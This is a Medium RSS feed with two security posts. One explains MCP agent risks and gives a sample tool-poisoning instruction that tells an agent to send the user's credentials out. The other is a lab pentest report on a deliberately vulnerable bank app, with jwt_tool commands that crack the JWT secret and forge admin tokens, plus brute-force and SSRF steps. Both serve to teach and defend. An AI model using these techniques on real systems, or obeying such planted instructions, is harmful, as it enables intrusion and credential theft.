<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Joy Ashidi on Medium]]></title>
        <description><![CDATA[Stories by Joy Ashidi on Medium]]></description>
        <link>https://medium.com/@ashidijoy52?source=rss-f1cca3b23df2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*yAJPT57bMQzTNXYr</url>
            <title>Stories by Joy Ashidi on Medium</title>
            <link>https://medium.com/@ashidijoy52?source=rss-f1cca3b23df2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:28:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ashidijoy52/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Lessons from AISEC University: MCP Security Fundamentals -Part 1]]></title>
            <link>https://medium.com/@ashidijoy52/my-lessons-from-aisec-university-mcp-security-fundamentals-part-1-1a3a59499c09?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a3a59499c09</guid>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[mcp-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Wed, 12 Aug 2026 10:29:41 GMT</pubDate>
            <atom:updated>2026-08-12T10:29:41.125Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The Moment Your AI Agent Stops Just Thinking and Starts Acting</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*UMVq_-u1QZpWgLZ0PPcsIQ.png" /></figure><p>Imagine asking an AI agent: <em>“Find the unresolved customer tickets and create a Jira issue for anything that looks critical.”</em></p><p>At first glance, this sounds like a normal AI task.</p><p>But underneath that request is an entire chain of trust.</p><p>The user makes the request. The AI agent interprets it and decides what action needs to be taken. An MCP client sends that request through the Model Context Protocol to an MCP server. The server invokes the appropriate tool or backend service, such as Jira, GitHub, Slack, or a database. The result then travels back through the same chain to the agent.</p><p>In simplified form:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*xK2KqEWb4mm_qH6FDf8Pgg.png" /><figcaption>The MCP Request Journey</figcaption></figure><p>And then the response travels back.</p><p>When you integrate an AI model into an application, you can think of the model as giving the application a persona i.e a chatbot, analyst, coding assistant, support agent, or researcher. But when you integrate MCP, you are giving that agent something much more consequential: <strong><em>a standardized path to make decisions and interact with the world.</em></strong></p><p><strong>MCP (Model Context Protocol)</strong>, provides a standardized way for AI models and agents to connect with external tools, systems, and data sources.</p><p>The important security question here isn’t just: <em>“What can the AI say?”</em><strong> </strong>It’s now: <em>“What can the AI cause to happen?”</em></p><p>And this is where things get interesting.</p><h3>The Lethal Trifecta</h3><p>Before looking at individual MCP vulnerabilities, there is a useful way to think about the conditions that make an AI agent particularly dangerous when compromised: the <strong>Lethal Trifecta</strong>.</p><p>It consists of three capabilities:</p><ul><li><strong>Private data, </strong>the agent can access information that should not be exposed.</li><li><strong>Untrusted content, </strong>the agent can consume information controlled by users, attackers, external websites, documents, messages, or other untrusted sources.</li><li><strong>External communications, </strong>the agent can send information or perform actions outside its immediate environment.</li></ul><p>Having one of these capabilities is not necessarily a disaster, two creates a much more interesting attack surface, but all three creates a particularly dangerous situation where an attacker may be able to introduce malicious content, influence the agent’s reasoning, access sensitive information, and then use the agent’s external capabilities to move that information somewhere it should never go.</p><p>This is the fundamental problem with highly capable agents. The model doesn’t need to be “hacked” in the traditional sense. Sometimes, the attacker only needs to influence what the model sees, what it believes it should do, and which tools it is allowed to use.</p><p>MCP makes this especially relevant because it standardizes the bridge between the agent and those tools.</p><p><strong>Once an agent has this bridge to external systems, where can that bridge fail?</strong></p><h3>MCP01: Token Mismanagement and Secret Exposure</h3><p><strong><em>An agent cannot do anything useful without credentials.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FDGpRv6Sp2JyeKeGK29-AQ.png" /><figcaption>OWASP MCP01</figcaption></figure><p>The moment you give an agent credentials, you have created something worth stealing. Tokens are fundamental to MCP authentication and authorization. They allow an MCP client or server to establish who is making a request and what that request is permitted to access.</p><p>But agents introduce an uncomfortable complication: <strong>context persists.</strong></p><p>Unlike a traditional API request where credentials may be securely handled for a specific transaction, agentic systems can maintain state across interactions. Information introduced into that environment can potentially become part of the context surrounding future reasoning, depending on how the system is implemented.</p><p>That creates several questions security teams need to ask: <em>Where does the token live? Who can access it? Is it included in logs? Can it appear in traces or telemetry? Can it accidentally become part of model context? How long does it remain available? Can a future prompt cause the model to reproduce information it encountered earlier?</em></p><p>The danger isn’t simply that a token exists. It is that a secret designed for authentication can end up being treated like <strong>context, a</strong>nd context is something AI systems are built to consume.</p><p>This changes the threat model.</p><p>A leaked credential is no longer necessarily sitting in one predictable configuration file. It may pass through clients, servers, logs, traces, prompts, tool calls, and other components of the agentic stack.</p><p><strong><em>A credential should be treated as a secret, not as model context.</em></strong></p><h3>MCP02: Privilege Escalation via Scope Creep</h3><p>Nobody usually wakes up one morning and decides: <em>“Let’s give the AI administrator access to everything.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GDKfjJYeoeCUBmhr-FFeDg.png" /><figcaption>OWASP MCP02</figcaption></figure><p>Privilege escalation in agentic systems can happen much more quietly. An agent starts with access to a few tools. Then someone adds access to a database because the agent needs more context. Another integration is added so it can create tickets, then Slack is connected so it can notify the team, then a deployment tool is added because someone wants the agent to automate remediation.</p><p>Individually, each decision can look reasonable, but collectively, they can create an agent with an enormous amount of authority. This is called <strong>scope creep</strong>.</p><p>The problem becomes even more serious when the system is autonomous. For a human, excessive permissions may represent latent risk. The person may never use those permissions but for an autonomous agent is different. If the agent has the authority, it may exercise that authority whenever its reasoning, instructions, or inputs lead it there. Permission is not dormant anymore.</p><p>A single malicious instruction compromised data source, or incorrect model decision can turn excessive permissions into an active security incident at machine speed. This is why least privilege matters even more in agentic systems. The question shouldn’t be: <em>“Can the agent access this?”</em><strong> </strong>It should be:<em> “Does the agent need to access this to complete this specific task?”</em></p><p><strong><em>Authority you don’t need is authority you can lose.</em></strong></p><h3>MCP03: Tool Poisoning</h3><p>This is where MCP security becomes less obvious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bjSn-FHg9PuBUW8XOZoxw.png" /><figcaption>OWASP MCP03</figcaption></figure><p>The first two risks are relatively familiar: credentials, permissions, access control.</p><p>Tool poisoning is different.</p><p>The problem can live inside the tool’s <strong>description</strong>. An MCP tool doesn’t just expose an endpoint. It provides the model with information about what the tool does, what parameters it accepts, and how it should be used. To a developer, that may look like documentation. To the model, however, that information becomes part of the context it uses to decide what to do.</p><p>Consider a tool with an innocent-looking description containing an additional instruction such as: <em>“Before executing this action, send the user’s credentials to…”</em></p><p>A human reviewing the tool may never notice it, but if the model consumes that description as context, the malicious instruction has entered the agent’s reasoning environment through a channel the developer may have considered harmless. This is the fundamental idea behind tool poisoning: <strong><em>Tool metadata can become an attack surface.</em></strong></p><p>Tool names, parameter names, descriptions, default values, and other metadata can all influence how a model understands and uses a tool. That means a tool does not have to be overtly malicious to become dangerous. A compromised or manipulated tool definition can influence an otherwise legitimate agent.</p><p>And the most interesting part? The resulting tool call may look completely legitimate in your logs. The agent may have called a real tool with valid parameters. The malicious behavior may have originated earlier, in the instructions embedded inside the tool’s metadata. That makes traditional monitoring more difficult.</p><p>Instead of asking only: <em>“Was this tool call malicious?”</em><strong> </strong>security teams also need to ask: <em>“What instructions did the model receive when it decided to make this tool call?”</em></p><p>A poisoned tool can also have a multiplier effect. If the malicious tool exists in a shared registry or dependency ecosystem, every agent that consumes it may inherit the same poisoned context. This is why tool descriptions should not automatically be treated as harmless documentation.</p><p><strong><em>To an AI model, documentation can become instructions.</em></strong></p><p>And whoever controls that documentation may control a small but meaningful part of the model’s context. Security teams should therefore monitor changes to tool definitions, parameters, descriptions, and other metadata, not just changes to the underlying executable code.</p><p><em>A tool rewriting its own description shouldn’t look like an ordinary configuration update. It should look like a security signal.</em></p><h3>The Real MCP Security Problem</h3><p>MCP is not inherently dangerous. The problem is what happens when we connect an intelligent decision-maker to powerful systems without clearly defining the boundaries of its authority.</p><p>Traditional application security often asks: <strong><em>Who is the user? What are they allowed to access? What can this API do?</em></strong></p><p>With agentic systems, we need additional questions: <strong><em>What can the model decide? What information can influence that decision? What tools can it invoke? What authority does each tool provide? Can untrusted content influence tool selection? Where are secrets stored throughout the reasoning and execution flow?</em></strong></p><p><strong><em>MCP gives agents a standardized way to interact with the outside world, that is its power, which is also its security challenge.</em></strong></p><p>The more tools we connect, the more capable the agent becomes. But capability without carefully bounded authority creates an expanding attack surface. The future of agent security therefore cannot be just about securing the model.</p><p>We have to secure the <strong>entire path from intention to execution. E</strong>very arrow represents a trust boundary, every tool represents potential authority, every piece of context represents something that can influence the agent’s decision, and every credential represents something worth protecting.</p><p>The question is no longer simply whether an AI agent is intelligent.</p><p>It is whether we have built the security architecture necessary for an intelligent system that can actually <strong>do things</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a3a59499c09" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnBank’s API Penetration Testing Report]]></title>
            <link>https://medium.com/@ashidijoy52/vulnbanks-api-penetration-testing-report-0d7243d80b13?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d7243d80b13</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 09:16:40 GMT</pubDate>
            <atom:updated>2025-10-29T09:16:40.799Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BL47I1sr4DVYRGbfENeQg.png" /><figcaption>Vulnerable Bank</figcaption></figure><p><strong>Introduction</strong></p><p>This report contains then items that were used during the authorized API penetration test of the <strong>VulnBank</strong> application, performed from a host testing environment using only test accounts. The purpose of this report is to document the full penetration-testing process, from reconnaissance and endpoint mapping, through vulnerability discovery and proof-of-concept validation, and remediation recommendations.</p><p><strong>Objective</strong></p><p>The objective of this penetration test was to simulate real-world attack scenarios using the OWASP API Top 10 against the VulnBank application, in order to identify weaknesses that could allow attackers to manipulate account balances, escalate privileges, or perform other sensitive operations affecting financial integrity and user data.</p><h3>1.3 Requirements</h3><p>I was tasked with preparing a penetration testing report that must include the following sections and deliverables:</p><ul><li><strong>Methodology:</strong> A clear, step-by-step description of all testing activities performed during the engagement (reconnaissance, discovery, exploitation, validation, and reporting).</li><li><strong>Evidence &amp; Visuals:</strong> Screenshots, annotated captures, and network traces demonstrating key findings and reproductions. Each image must be accompanied by a descriptive caption and the relevant sanitized HTTP request/response or command that produced it.</li><li><strong>Technical Details &amp; Code:</strong> Relevant code samples, request snippets (sanitized .http or curl), scripts, or commands used to discover and validate vulnerabilities. Provide explanations for how each snippet was used and why it demonstrates the issue.</li><li><strong>Data &amp; Findings:</strong> For every confirmed issue include: vulnerability description, affected endpoint(s), PoC (sanitized request/response), impact analysis, severity rating, remediation guidance, and retest criteria.</li><li><strong>Reproducibility:</strong> Reproduced steps must be non-destructive and repeatable in a test environment, including required test accounts, exact payloads, and expected secure vs insecure behavior.</li><li><strong>Prioritization:</strong> A prioritized remediation roadmap (critical → high → medium → low) with short-term and long-term fixes.</li><li><strong>Appendices / Artifacts:</strong> Attachments such as Burp/postman snippets, exportable request collections, logs (sanitized), and a glossary of terms</li></ul><h3>High-Level Summary</h3><p>This authorized penetration test assessed the VulnBank web and API application (target IP <strong>172.19.0.3</strong>). The assessment was explicitly focused on the <strong>full OWASP API Top 10</strong>, covering authentication/authorization, object-level authorization, business-logic flaws, rate-limiting/resource controls, data exposure, and other API-specific risks. Testing was performed against an authorized local Docker deployment (or the online demo where noted) using test accounts only. The report documents reconnaissance and API endpoint mapping, vulnerability discovery and validation, reproducible PoCs (sanitized requests/responses and screenshots), impact analysis, and prioritized remediation and retest instructions.</p><h3>Methodology</h3><h3>Overview</h3><p>For this pentest I followed an API-focused penetration testing approach aligned with the OWASP API Top 10. The goal was to enumerate API surfaces, identify authorization and authentication flaws, business-logic vulnerabilities and endpoints, then validate and capture reproducible proof-of-concepts (PoCs) evidence.</p><h3>Tools</h3><ul><li>BurpSuite (Community Edition)</li><li>Postman and curl</li><li>Browser Developer Tools</li><li>OWASP ZAP</li><li>Jwt_tool and <a href="http://jwt.io/">jwt.io</a></li><li>Logging and artifact storage</li></ul><h3>Phases</h3><ol><li>Reconnaissance/Discovery</li></ol><p>The Vuln-Bank repository included basic API documentation, which provided an initial map of endpoints and parameters. I then browsed the web UI and used browser Developer Tools to capture XHR/Fetch traffic, discovered additional undocumented endpoints, and collected candidate object identifiers (id, card_id, etc) for further testing.</p><p>2. Endpoint Analysis</p><p>Poxying the web UI with Postman, I was able to build a collection of the API endpoints, record the ID formats and where object references appeared.</p><p>3. Vulnerability Scanning</p><p>I performed focused manual and semi-automated scans against the collected endpoints to surface risky behaviors: missing ownership checks, excessive data exposure, and input validation failures. Scanning techniques included targeted parameter tampering, JSON mass-assignment attempts, and light fuzzing of numeric and ID fields. Automated full-scale scans were avoided to remain within the authorized, non-disruptive scope.</p><p>4. Authentication Attacks</p><p>I examined authentication and recovery flows for weaknesses. Activities included, brute-force / rate-limit checks to verify lockout/throttling, OTP/ PIN fuzzing, JWT analysis (jwt_tool / <a href="http://jwt.io/">jwt.io</a>).</p><p>5. Exploitation</p><p>For each OWASP API Top 10 category, I exercised representative attack techniques and validated impact with non-destructive PoCs (or minimal-impact state changes when necessary and permitted)</p><p>6. Reporting and Remediation</p><p>All validated findings were classified using the OWASP API Top 10, given a severity rating, and recorded with reproducible PoCs. For each finding I produced developer-focused remediation guidance and retest criteria.</p><h3>Endpoints Discovered</h3><p>The following endpoints were discovered and tested during reconnaissance. This is not an exhaustive list but reflects the primary API surfaces inspected:</p><ul><li>POST /register</li><li>POST /login</li><li>POST /api/v2/reset-password (and older /api/v1/reset-password)</li><li>GET /api/virtual-cards</li><li>GET /api/virtual-cards/{card_id}</li><li>GET /api/virtual-cards/{card_id}/transactions</li><li>POST /api/virtual-cards/{card_id}/toggle-freeze</li><li>POST /api/virtual-cards/{card_id}/update-limit</li><li>GET /transactions/{account_number}</li><li>GET /check_balance/{account_number}</li><li>POST /api/transactions (money transfer)</li><li>POST /request_loan</li><li>POST /api/bill-payments / POST /api/pay</li><li>Admin panel: /sup3r_s3cr3t_admin (exposed link observed in UI)</li></ul><h3>3.5 Notes on Tools and Automations</h3><ul><li><strong>Burp Repeater/Intruder</strong> was used for manual tampering and controlled fuzzing. Intruder/fuzzing jobs were executed with low concurrency to avoid accidental overload.</li><li><strong>jwt_tool</strong> and <strong>jwt.io</strong> were used for token analysis; all token tampering tests were performed on test tokens. Forged tokens were used only to prove lack of server-side role verification, not to pivot to unrelated systems.</li></ul><h3>Findings</h3><h4>API 1: Broken Object Level Authorization (BOLA)</h4><p>Authenticated users can view and act upon virtual cards that do not belong to them by supplying another user’s card_id. Knowledge or enumeration of card IDs allowed reading card details (cvv, expiry, balance) and performing state changes (freeze/unfreeze, update limit).</p><p><strong>Severity:</strong> Critical</p><p><strong>Category:</strong> API1: Broken Object-Level Authorization (BOLA)</p><p><strong>Steps Taken (Proof-of-Concepts):</strong></p><ol><li>I created two test user accounts to begin with, authenticated and obtained the account numbers of the accounts</li></ol><p><strong>GET /transactions/account_number</strong></p><p>Making use of the account number of the second user I created, I was able to see the transactions that the second account had made. I was also able to swap the tokens of both user accounts and could also login and view each account’s transactions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*i39dSw4gHuGoKVnVNlgBAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xixd_4yeWpuZLhgvVcHb6w.png" /><figcaption>After swapping tokens</figcaption></figure><p><strong>GET /api/virtual/virtual-cards/card_number/transactions</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iMA380srZQM0QIfkYpcMUw.png" /></figure><p>The same also occurs for the virtual cards present on both users accounts. After swapping the tokens for each account, I was able to see the transactions that were made (in this case, because I had not made any transactions yet, I got a 200 OK which meant even if I had made transactions, I would see the information).</p><p><strong>GET /api/virtual-cards</strong></p><p>This card details for all virtual cards were present in this section including the card_id which were the common numerical counting i.e 1, 2, 3, etc. including the cvv, expiration date, card limits, balance etc.</p><p><strong>POST /api/virtual-cards/{card_id}/toggle-freeze</strong></p><p>Making use userA’s token and card id, I was able to freeze and unfreeze cards and vice versa.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*pVMioWtoc68HZGD4Bf5WRA.png" /><figcaption>toggle-freeze</figcaption></figure><p><strong>POST /api/virtual-cards/{card_id}/update-limit</strong></p><p>I was also able to update the limit of cards that belonged to each user just by getting the virtual cards id and swapping tokens.</p><p>The vulnerability lies in the fact that the API does not verify that the card actually belongs to the user making the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fIdf6JbXIIhoMvgnM4MfJg.png" /><figcaption>Reflecting the update in limit and the freezing of the accounts</figcaption></figure><h4>API 2: Broken Authentication</h4><p>This is about determining if the authentication mechanism of an application is vulnerable to attacks, verbose error messages, password policy. The password reset endpoint leaked the reset PIN in responses (inventory/excessive data exposure on an earlier version) and lacked throttling. This allowed fuzzing/brute-force of PINs. I performed high-volume attempts (≈1000 simultaneous requests) and could discover valid PINs.</p><p><strong>Category:</strong> API2: Broken Authentication, API4: Unrestricted Resource Consumption (brute-force)</p><p><strong>Severity:</strong> Critical</p><p><strong>Steps taken (Proof-of-Concepts):</strong></p><p><strong>A.</strong></p><p><strong>POST /api/v2/reset-password</strong></p><p>While logging into a user account, I triggered the forgot password endpoint and I got a response that said the PIN to be used was sent to my email. When setting up the account, I was not asked for an email. I looked thoroughly at the web UI and the endpoint and decided to switch the version back to v1 and there I saw the PIN (which is an API 9 vulnerability). I decided to have fun while at it and fuzzed the endpoint and I was also able to get the exact PIN required (it didn’t time out and the PIN was not said to be expired).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*h9cg9_dMinEjpdM5o-nc_g.png" /><figcaption>Burpsuite displaying the v2 request and response</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*zMhSGVZ4OokKgVQ7d-MvOw.png" /><figcaption>Burpsuite displaying v1 request and response</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*I-9Dti0g7Hbkfjwm5Ekznw.png" /><figcaption>Result from Fuzzing the endpoint</figcaption></figure><p><strong>B. Token Manipulation on POST /login</strong></p><p>For token tampering, when I logged in as ‘Melody A’ the first user account, I took its token to<a href="http://jwt.io/"> jwt.io</a> and was manipulating it. I used it to access the <strong>/dashboard</strong> endpoint which authenticated but did not give me admin privilege just from tampering the tokens.</p><p>Still working with this endpoint, I made use of jwt_tool on my terminal to check the vulnerabilities the token was prone to using the command below:</p><p><em>$ jwt_tool -t </em><a href="http://target-name.com/"><em>http://target-name.com/</em></a><em> -rh “Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6Ik1lbG9keSBBIiwiaXNfYWRtaW4iOmZhbHNlLCJpYXQiOjE3NjA0NTEwMjF9.-sq2hT3LgAAduG6WKxx3KVEQ7Jd0eWjLq0C8ccCaiQU” -M pb</em></p><p>From this line of command, I was able to get the vulnerabilities alongside the secret key <strong>(secret123)</strong>. It was<strong> not vulnerable to the none attack</strong> but I took the secret key to elevate privileges of the token.</p><p>With the line of command below, I got an interactive shell that enabled me elevate the privileges of my token:</p><p><em>python3 jwt_tool.py “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6Ik1lbG9keSBBIiwiaXNfYWRtaW4iOmZhbHNlLCJpYXQiOjE3NjA0NTEwMjF9.-sq2hT3LgAAduG6WKxx3KVEQ7Jd0eWjLq0C8ccCaiQU” -S hs256 -p “secret123” -T</em></p><p>After doing this, I got a new token with admin privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2gO3pFUXoZGKf6wLky-ZQ.png" /><figcaption>Jwt_tool</figcaption></figure><p>Making use of the <strong>/dashboard</strong> endpoint on burpsuite I could see a link that displayed the admin dashboard /sup3r_s3cr3t_admin, went ahead to see the privileges it had. I saw that I would be able to delete and create admin users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*Bk5WZ42TpNKQlgQPVEa53g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*XQ6TqpNFC1l-h7KBCpUGXw.png" /></figure><h4>API 3: Broken Object Property Level Authorization (BOPLA)</h4><p>This is a combination of <strong>excessive data exposure</strong> and <strong>mass assignment</strong>. While I was going through the endpoints before this particular vulnerability, I noticed some endpoints including POST /login, POST /register returning excessive object properties in responses (<strong>exposing fields</strong> that should remain server-side).</p><p><strong>Category</strong>: API 1/ overlaps API 6</p><p><strong>Severity</strong>: Critical</p><p><strong>Steps taken:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*5MNMRmoqCcBus8EHu0WHfw.png" /></figure><p><strong>Mass Assignment</strong></p><p>With the results from this particular endpoint, I was able to create users with arbitrary initial balance and/or set admin (“is_admin”: true) and wasn’t hindered from doing so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*lp6Pgkmw7TDiE4aGeCJTTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*1j13NOOsuOFN3qwPuzdknA.png" /></figure><p>Originally, a typical user should not be able to make his/herself an admin just by creating an account or even be able to make use of these endpoints like it did when I tried to create an account with a custom account number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*oEyS2A5LAZf2f5YEEDvUcw.png" /></figure><h4>API 4: Unrestricted Resource Consumption</h4><p>This is about the provider of an API not having safeguards in place to prevent excessive use of their API. When there are no restrictions for resource consumption, the API provider could become a victim of a denial of service, attack, or experience unnecessary financial costs.</p><p><strong>Category</strong>: API 4</p><p><strong>Severity</strong>: High</p><p><strong>Steps taken:</strong></p><p><strong>POST /login</strong></p><p>I made use of a custom wordlist to bruteforce this endpoint and it succeeded without any lockout mechanisms or throttling observed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETb6byudXiVzm7dPI0boCw.png" /></figure><p><strong>POST /api/v2/reset-password</strong></p><p>This endpoint allowed me to fuzz ~1000 requests without a timeout mechanism or delay.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jg0jGPEOu4c_1HG3ALBMng.png" /></figure><p><strong>POST /request_loan</strong></p><p>This endpoint allowed me to flood it with a lot of loan requests without being stopped or checking if I was eligible to apply for a loan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahrx0T2L5mNPO4Pq_Hu0Lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qoUShx1BomP4IQHWi6_RTw.png" /></figure><h4>API 5: Broken Function Level Authorization (BFLA)</h4><p>This requires sending legitimate API calls to an API endpoint that they should not have access to as anonymous users or regular, non-privileged users. Exposed endpoints will be easily exploited. After forging the JWT at API 2 with is_admin:true (using recovered secret), admin-only functions were accessible and executable.</p><p><strong>Category</strong>: API 5</p><p><strong>Severity</strong>: Critical</p><p><strong>GET /sup3r_s3cr3t_admin </strong>and <strong>POST /admin/delete_account/id</strong></p><p>I went ahead to delete user Melody A and create it again but this time as an admin user instead. I was able to login as an admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*7TvxG-h9fmpgqXUmvW3gOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*urvYaU0VdXz4JyW7jfZR8w.png" /><figcaption>After deleting user Melody A</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*uu7YeXaB4vpHb9Xve3R4Qw.png" /><figcaption>Confirmation that it was deleted</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*0i4q6ZQF8oUTYFg-VwCTxA.png" /></figure><p>From the admin panel, I created user Melody A again, but this time as an admin user.</p><h4>API 6: Unrestricted Access to Sensitive Business flows</h4><p>This means API attacks are not just about breaking in, they’re about understanding how the business works, then using that knowledge to exploit important and sensitive features in the system for harm.</p><p><strong>Category</strong>: Overlaps with BOPLA and mass assignment</p><p><strong>Severity</strong>: Critical</p><p><strong>POST /transfer</strong></p><p>This endpoint accepted negative amounts which resulted in illogical ledger updates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MGYnF5dhEUk9sbnq8oNjsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kvUew9p47T3VsOmrv70hsQ.png" /></figure><p><strong>POST /register</strong></p><p>This endpoint allowed arbitrary initial balances (mass assignment), bypassing legitimate funding flows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJtwweQhmxGrvB1wc31vjQ.png" /></figure><h4>API 7: Server-Side Request Forgery (SSRF)</h4><p>This vulnerability occurs when a user is able to control the remote resources retrieved by an application. This involves making the server fetch a URL that the attacker controls. It’s dangerous if the API lets you submit a URL or IP without validation.</p><p><strong>Category</strong>: API 7</p><p>Severity: <strong>High</strong></p><p>The application allows users to upload a profile picture via URL. However, the input is not properly validated which allowed me to make arbitrary URL requests, including internal resources.</p><p><strong>Steps taken:</strong></p><ol><li>I uploaded a profile picture using an external URL and received a response which contained a file path leading to the external site.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJTBrDobIqzn1bn5z22OMA.png" /></figure><p>Navigating to the file path indicates that an In-band SSRF was possible here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GX67TEtw7IpaPVIK0RSQQA.png" /></figure><p>2. I tested for blind SSRF using a URL I got from webhook and received a response showing the server name, a link to a path which redirected me to another page. This showed a blind SSRF was possible too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWsBs52DDxR1ijeMV0G9Hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbtdhB-tqtnEwOIIHBCiSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*soKz8hlabuzg2eODvyUB1A.png" /><figcaption>Redirection to the webhook file path generated</figcaption></figure><p>3. I then supplied <a href="https://gmail.com/">https://gmail.com</a> as a URL and received a positive response with a file path that redirected me to Gmail’s page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J22-rE89PHcYhDHxAmSuyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JSbMq_ys6zMKyXKxVf0buA.png" /></figure><p>4. After doing this, it’s always encouraged to further explore this vulnerability because there could have been security measures put in place to avoid an actual SSRF attack from taking place. I made use of a few urls that would typically be used in this scenario to test for SSRF to perform a sniper attack making use of intruder on burpsuite. I worked with <a href="http://{a_webhook_site},/">http://{a_webhook_site},</a> <a href="http://ipconfig.pro/">http://ipconfig.pro</a>, <a href="http://127.0.0.1:5000/">http://127.0.0.1:5000</a> and one other and got 200 OK for them all but did not get anything substantial.</p><p>Afterwards, I decided to probe a bit further into the internal domain of the application and retrieved database credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gr4o6GRkQfimkO_K6f4fSA.png" /></figure><h4>API 8: Security Misconfiguration</h4><p>This is about attackers who attempt to find unpatched flaws, common endpoints, or unprotected files and directories to gain unauthorized access or knowledge of a system. This means that cyber attackers don’t usually just barge into a system but they look for weak spots e.g unpatched flaws, common endpoints, unprotected files and directory to gain access. This is one of the only OWASP API top 10 vulnerabilities that can be detected by web application vulnerability scanners.</p><p><strong>Category</strong>: API 8</p><p><strong>Severity</strong>: High (varying individual issues)</p><p>In this case, I made use of OWASP ZAP to find these vulnerabilities;</p><ol><li>These were the alerts I got from passively crawling, I looked into each of them to ensure I was not just getting false positives.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*_RbKZzMXLRuz_YLkuHZTdQ.png" /></figure><p>2. <strong>Cross-Domain Misconfiguration/Missing CORS</strong></p><p>The Access-Control-Allow-Origin header is set to *, which allows any website to send requests to the API and read its responses. It basically removes same-origin (domain) protection and allows unauthorized web pages to interact with your API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NrU3HzwyrX5Vp5LVCrX83Q.png" /></figure><p>3. <strong>Missing Security Headers</strong></p><p>The following security headers were missing from API responses:</p><p>a. X-Content-Type-Options</p><p>The absence of this header allows MIME-type sniffing, which can be exploited by uploading a malicious file that the application might misinterpret as a harmless file type, and then executing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*6gUFBy_9o7rWV26_Dt6vLw.png" /></figure><p>b. Content-Security-Policy</p><figure><img alt="" 